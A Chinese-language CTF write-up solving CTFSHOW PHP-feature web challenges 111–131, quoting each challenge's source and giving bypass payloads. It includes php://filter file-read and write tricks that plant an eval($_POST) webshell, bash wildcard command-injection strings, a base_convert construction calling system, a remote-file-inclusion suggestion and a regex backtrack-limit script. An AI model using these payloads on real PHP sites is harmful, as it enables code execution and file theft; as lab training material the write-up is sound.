CTFSHOW PHP特性篇(中篇 111-131)

web111

function getFlag(&$v1,&$v2){
    eval("$$v1 = &$$v2;");
    var_dump($$v1);
}


if(isset($_GET['v1']) && isset($_GET['v2'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];

    if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v1)){
            die("error v1");
    }
    if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v2)){
            die("error v2");
    }
    
    if(preg_match('/ctfshow/', $v1)){
            getFlag($v1,$v2);
    }
    
}

考察点:php超全局变量$GLOBALS的使用

介绍

$GLOBALS — 引用全局作用域中可用的全部变量
一个包含了全部变量的全局组合数组。变量的名字就是数组的键。

举个例子

$a=123;
$b=456;
var_dump($GLOBALS);

返回内容较多就不一一列出了。我们只看最后两条,发现我们自行定义的变量会被输出。

  ["a"]=>
  int(123)
  ["b"]=>
  int(456)

所以对于该题,只要把$GLOBALS赋值给v2,然后v2再赋值给v1,即可将全部变量输出.
payload: ?v1=ctfshow&v2=GLOBALS

web112

function filter($file){
    if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){
        die("hacker!");
    }else{
        return $file;
    }
}
$file=$_GET['file'];
if(! is_file($file)){
    highlight_file(filter($file));
}else{
    echo "hacker!";
}

考察点:php伪协议绕过is_file+highlight_file对于php伪协议的使用

函数介绍

is_file — 判断给定文件名是否为一个正常的文件
is_file ( string $filename ) : bool

我们的目的是不能让is_file检测出是文件,并且 highlight_file可以识别为文件。这时候可以利用php伪协议。
可以直接用不带任何过滤器的filter伪协议
payload:file=php://filter/resource=flag.php
也可以用一些没有过滤掉的编码方式和转换方式
payload:file=php://filter/read=convert.quoted-printable-encode/resource=flag.php
file=compress.zlib://flag.php
payload:file=php://filter/read=convert.iconv.utf-8.utf-16le/resource=flag.php
还有一些其他的,可以参考php文档

113

112中提到的 compress.zlib//flag.php可以过
当然这不是预期解
预期解payload:

file=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php

在linux中/proc/self/root是指向根目录的,也就是如果在命令行中输入ls /proc/self/root,其实显示的内容是根目录下的内容
多次重复后绕过is_file的具体原理尚不清楚,希望有师傅解答下。

114

留了个filter就不多说了。
payload:file=php://filter/resource=flag.php

115

function filter($num){
    $num=str_replace("0x","1",$num);
    $num=str_replace("0","1",$num);
    $num=str_replace(".","1",$num);
    $num=str_replace("e","1",$num);
    $num=str_replace("+","1",$num);
    return $num;
}
$num=$_GET['num'];
if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36'){
    if($num=='36'){
        echo $flag;
    }else{
        echo "hacker!!";
    }
}else{
    echo "hacker!!!";
}

考察点:trim函数的绕过+is_numeric绕过

函数介绍

语法
trim(string,charlist)

参数	描述
string	        必需。规定要检查的字符串。
charlist	    可选。规定从字符串中删除哪些字符。如果省略该参数,则移除下列所有字符:

"\0"       - NULL
"\t"       - 制表符
"\n"       - 换行
"\x0B"     - 垂直制表符
"\r"       - 回车
" "        - 空格

做个简单的小测试

for ($i=0; $i <128 ; $i++) { 
    $x=chr($i).'1';
   if(is_numeric($x)==true){
        echo urlencode(chr($i))."\n";
   }
}

除了数字和+-.号以外还有 %09 %0a %0b %0c %0d %20
再来看看 trim+is_numeric

for ($i=0; $i <=128 ; $i++) { 
    $x=chr($i).'1';
   if(trim($x)!=='1' &&  is_numeric($x)){
        echo urlencode(chr($i))."\n";
   }
}

发现除了+-.号以外还有只剩下%0c也就是换页符了,所以这个题只有这一个固定的解了。
payload:num=%0c36

web116

下载下来视频,然后用010editor可以看到里面有一张图片,提取出来发现源码。
是一个文件包含。
如下图所示
CTFSHOW PHP特性篇(中篇 111-131)_第1张图片
过滤了很多协议和编码方式,但其实都是摆设,因为用的是file_get_contents所以,直接 输入file=flag.php就可以过了。
payload:file=flag.php

web117

function filter($x){
    if(preg_match('/http|https|utf|zlib|data|input|rot13|base64|string|log|sess/i',$x)){
        die('too young too simple sometimes naive!');
    }
}
$file=$_GET['file'];
$contents=$_POST['contents'];
filter($file);
file_put_contents($file, "".$contents);

考察点:绕过死亡die
题目中过滤了很多协议和编码方式,但是除了我们常用的base64和rot13还是有很多方法可以绕过die的
更多编码方式
这是取一个 UCS-2LE UCS-2BE

payload:
file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=a.php
post:contents=??

这种是将字符两位两位进行交换
大家可以自行测试如下代码

echo iconv("UCS-2LE","UCS-2BE",'??');

输出如下,使得die失效,并且我们的一句话木马可以使用
?<hp pid(e;)>?<?php eval($_POST[1]);?>

web118-122

该部分题目是我在月饼杯web3的基础上不断增加过滤演变而成的。属于命令执行部分,因为顺序的原因我们就在此进行讲解了。

118
在原来过滤的基础上增加了数字的过滤。
linux中存在的大量的内置变量
具体的可参考其他师傅写的文章

月饼杯web3   payload:${PATH:14:1}${PATH:5:1} ????.??? 构造出的是 nl flag.php
所有我们现在想到简易一点的方法就是得到一个n一个l
发现 $PATH的最后一位是n $PWD的最后一位 也就是 /var/www/html的最后一位是l
在linux中可以用~获取变量的最后几位

CTFSHOW PHP特性篇(中篇 111-131)_第2张图片
而字母起到的作用是和0相同的,所有${PATH:~A}其实就是${PATH:~0}

payload: code=${PATH:~A}${PWD:~A} ????.???

119、120
在118的基础上增加了 PATH、BASH、HOME的过滤

这时我们可以利用通配符 调用base64命令,也就是构造出 /bin/base64 flag.php
/???4 ???.???
如果可以构造出来/和4不就可以了吗
在linux中可以用 ${#var}显示var变量的长度
在这里插入图片描述

只要找到一个变量的长度是4就可以了。/还是很好找的 $PWD的第一位就是了
我们发现${#RANDOM}可以实现
CTFSHOW PHP特性篇(中篇 111-131)_第3张图片
数字1可以用$SHIVL
在这里插入图片描述

在这里插入图片描述
payload:code=${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?????${#RANDOM} ????.???

121

if(isset($_POST['code'])){
    $code=$_POST['code'];
    if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|FLAG|PATH|BASH|HOME|HISTIGNORE|HISTFILESIZE|HISTFILE|HISTCMD|USER|TERM|HOSTNAME|HOSTTYPE|MACHTYPE|PPID|SHLVL|FUNCNAME|\/|\(|\)|\[|\]|\\\\|\+|\-|_|~|\!|\=|\^|\*|\x26|\%|\<|\>|\'|\"|\`|\||\,/', $code)){    
        if(strlen($code)>65){
            echo '
'.'you are so long , I dont like '.'
'
; } else{ echo '
'.system($code).'
'
; } } else{ echo '
evil input
'
; } }

在上面题的基础上又增加了其他内置变量,但是放开了PWD和RANDOM
所以我们只需研究上一个payload的替换值即可。
过滤了SHLVL,这时可以考虑用 $?替代

$?
用途:上一条命令执行结束后的传回值。通常0代表执行成功,非0代表执行有误。

在这里插入图片描述
其他的不需要改变
payload: code=${PWD::${#?}}???${PWD::${#?}}?????${#RANDOM} ????.???

122
增加了#和PWD的过滤,使得我们无法通过获取内置变量的长度获取字符串,PWD可以用HOME代替,其他的没有改变,也就是说我们只要能得到一个数字1就能通过。
这时候就需要强大的$?了

$?
用途:上一条命令执行结束后的传回值。通常0代表执行成功,非0代表执行有误。

CTFSHOW PHP特性篇(中篇 111-131)_第4张图片
在本机测试发现使用${}这样是可以获得数字1的,但是在题目环境中发现返回的是2,无奈之下放开了<的过滤(小于号)
CTFSHOW PHP特性篇(中篇 111-131)_第5张图片
CTFSHOW PHP特性篇(中篇 111-131)_第6张图片

出现4的几率虽然小,但是是有可能的,不断刷新即可
payload:code=

web123、web125、web126

$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?/", $c)&&$c<=18){
         
           
         if($fl0g==="flag_give_me"){
             echo $flag;
         }
    }
}

第一个难搞的地方isset($_POST['CTF_SHOW.COM'])因为php变量命名是不允许使用点号的
可以测试一下


var_dump($_POST);

输入 CTF_SHOW.COM=1
返回
array(1) { ["CTF_SHOW_COM"]=> string(1) "1" }

那么既然题目是可以有方法通过的,我们就来个暴力的方式
下面代码的主要功能是模拟post传参,然后根据返回值的长度来判断。不符合要求的返回长度都为0


function curl($url,$data){
	$ch = curl_init(); 
	curl_setopt($ch, CURLOPT_URL, $url);
	curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
	curl_setopt($ch, CURLOPT_POST, 1);
	curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
	$response = curl_exec($ch);
	curl_close($ch);
	return strlen($response);
}
$url="http://127.0.0.1/test.php";
for ($i=0; $i <=128 ; $i++) { 
	for ($j=0; $j <=128 ; $j++) {
			$data="CTF".urlencode(chr($i))."SHOW".urlencode(chr($j))."COM"."=123";
				if(curl($url,$data)!=0){
					echo $data."\n"; 
				}
   		}
   	}

其中test.php中的内容


if(isset($_POST['CTF_SHOW.COM'])){
    echo 123;
}

输出结果
CTF%5BSHOW.COM=123
具体的原理尚不清楚
另外一个知识点

1、cli模式(命令行)下

	第一个参数$_SERVER['argv'][0]是脚本名,其余的是传递给脚本的参数

2、web网页模式下

	在web页模式下必须在php.ini开启register_argc_argv配置项
	
    设置register_argc_argv = On(默认是Off),重启服务,$_SERVER[‘argv’]才会有效果

    这时候的$_SERVER[‘argv’][0] = $_SERVER[‘QUERY_STRING’]

    $argv,$argc在web模式下不适用

因为我们是在网页模式下运行的,所以$_SERVER['argv'][0] = $_SERVER['QUERY_STRING']也就是$a[0]= $_SERVER['QUERY_STRING']
这时候我们只要通过 eval("$c".";");将$flag赋值flag_give_me就可以了。

payload:
get:  $fl0g=flag_give_me;
post:  CTF_SHOW=1&CTF%5bSHOW.COM=1&fun=eval($a[0])

再来几个非预期

post: CTF_SHOW=&CTF[SHOW.COM=&fun=echo $flag
post: CTF_SHOW=&CTF[SHOW.COM=&fun=var_dump($GLOBALS)   题目出不来,本地测试可以

问了下出题人,这个题的预期解是

get: a=1+fl0g=flag_give_me
post: CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1])

我自己本地测试了下


$a=$_SERVER['argv'];
var_dump($a);

传入 a=1+fl0g=flag_give_me
结果如下
array(2) { [0]=> string(3) "a=1" [1]=> string(17) "fl0g=flag_give_me" }

有大佬啃了下php的c源码总结如下

CLI模式下直接把 request info ⾥⾯的argv值复制到arr数组中去
继续判断query string是否为空,
如果不为空把通过+符号分割的字符串转换成php内部的zend_string,
然后再把这个zend_string复制到 arr 数组中去。

这样就可以通过加号+分割argv成多个部分,正如我们上面测试的结果。

124

这道题给我们留了很多的数学函数,我们发现其中基本全是php中可用使用的函数。而且很多是可用进行进制转换的。
我们来看下具体的函数

base_convert(number,frombase,tobase);
参数	描述
number	    必需。规定要转换的数。
frombase	必需。规定数字原来的进制。介于 236 之间(包括 236)。高于十进制的数字用字母 a-z 表示,例如 a 表示 10,b 表示 11 以及 z 表示 35。
tobase	    必需。规定要转换的进制。介于 236 之间(包括 236)。高于十进制的数字用字母 a-z 表示,例如 a 表示 10,b 表示 11 以及 z 表示 35。

bindec — 二进制转换为十进制
bindec ( string $binary_string ) : number

decbin — 十进制转换为二进制
decbin ( int $number ) : string

dechex — 十进制转换为十六进制
dechex ( int $number ) : string

decoct — 十进制转换为八进制
decoct ( int $number ) : string

hexdec — 十六进制转换为十进制
hexdec ( int $number ) : string

在这个题中,我们不能使用除题目白名单中给出的函数以外的任何字符。那我们的目的就是构造出字母或者构造出函数。
假设我们要构造出如下表达式
c=$_GET[a]($_GET[b])&a=system&b=cat flag
我们需要构造的是其实只有 _GET,$我们可用使用,中括号可用用花括号代替,小括号也是可以使用的。这时候我们想到了一个办法,如果可以构造出hex2bin函数就可以将16进制转换成字符串了。我们又可以用decoct将10进制转换成16进制。也就是可以将10进制转换成字符串。
那么问题来了,hex2bin怎么构造呢,这时候就需要用到base_convert了。
我们发现36进制中包含了所有的数字和字母,所有只需要将hex2bin按照36进制转换成10进制就可以了。

echo base_convert('hex2bin', 36, 10);
结果  37907361743

echo hexdec(bin2hex("_GET"));
结果 1598506324

现在我们要做的就是反过来了


base_convert('37907361743',10,36);    hex2bin

base_convert('37907361743',10,36)(dechex('1598506324'));    _GET
c=$pi=_GET;$$pi{abs}($$pi{acos})&abs=system&acos=tac f*

我们再把_GET进行替换

payload:c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{abs}($$pi{acos})&abs=system&acos=tac f*

127

考点有点和123重复
跑了一下0-128


function curl($url){
    $ch=curl_init($url);
    curl_setopt($ch, CURLOPT_HEADER, 0);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    $result=curl_exec($ch);
    curl_close($ch);
    return strlen($result);
}
for ($i=0; $i < 128; $i++) { 
    $url="http://127.0.0.1/flag.php?ctf".urlencode(chr($i))."show=1";
    if(curl($url)!==0){
        echo urlencode(chr($i))."\n";
    }
}

flag.php


if(isset($_GET['ctf_show'])){
	echo 123;
}

发现以下字符等同于ctf_show

+ _ [ .  
+  这里的加号在url中起到空格的作用

除去他过滤掉的 _ . [ 我们发现我们还可以用空格实现

payload:ctf show=ilove36d

128

$f1 = $_GET['f1'];
$f2 = $_GET['f2'];

if(check($f1)){
    var_dump(call_user_func(call_user_func($f1,$f2)));
}else{
    echo "嗯哼?";
}
function check($str){
    return !preg_match('/[0-9]|[a-z]/i', $str);
}

考察点:gettext拓展的使用

在开启该拓展后 _() 等效于 gettext()


echo gettext("phpinfo");
结果  phpinfo

echo _("phpinfo");
结果 phpinfo

所以 call_user_func('_','phpinfo') 返回的就是phpinfo

因为我们要得到的flag就在flag.php中,所以可以直接用get_defined_vars

get_defined_vars ( void ) : array
此函数返回一个包含所有已定义变量列表的多维数组,这些变量包括环境变量、服务器变量和用户定义的变量。

payload:f1=_&f2=get_defined_vars

129

if(isset($_GET['f'])){
    $f = $_GET['f'];
    if(stripos($f, 'ctfshow')>0){
        echo readfile($f);
    }
}

函数介绍

stripos() 
查找字符串在另一字符串中第一次出现的位置(不区分大小写)。

一个简单的方法就是远程文件包含,在自己的服务器上写个一句话,然后保存为txt文档。
例如 f=http://url/xxx.txt?ctfshow
其中xxx.txt为一句话

要是没有服务器的话,我们也可以用php伪协议绕过

payload:f=php://filter/read=convert.base64-encode|ctfshow/resource=flag.php
filter伪协议支持多种编码方式,无效的就被忽略掉了。

130、131

include("flag.php");
if(isset($_POST['f'])){
    $f = $_POST['f'];

    if(preg_match('/.+?ctfshow/is', $f)){
        die('bye!');
    }
    if(stripos($f, 'ctfshow') === FALSE){
        die('bye!!');
    }

    echo $flag;

}

考察点:利用正则最大回溯次数绕过

PHP 为了防止正则表达式的拒绝服务攻击(reDOS),给 pcre 设定了一个回溯次数上限 pcre.backtrack_limit
回溯次数上限默认是 100 万。如果回溯次数超过了 100 万,preg_match 将不再返回非 1 和 0,而是 false。这样我们就可以绕过第一个正则表达式了。
python脚本如下

import requests
url="http://03771c3c-6afb-4457-a719-19cc6ccf922e.chall.ctf.show/"
data={
	'f':'very'*250000+'ctfshow'
}
r=requests.post(url,data=data)
print(r.text)

非预期解

利用数组 f[]=ctfshow

你可能感兴趣的:(CTFSHOW,web入门系列,php)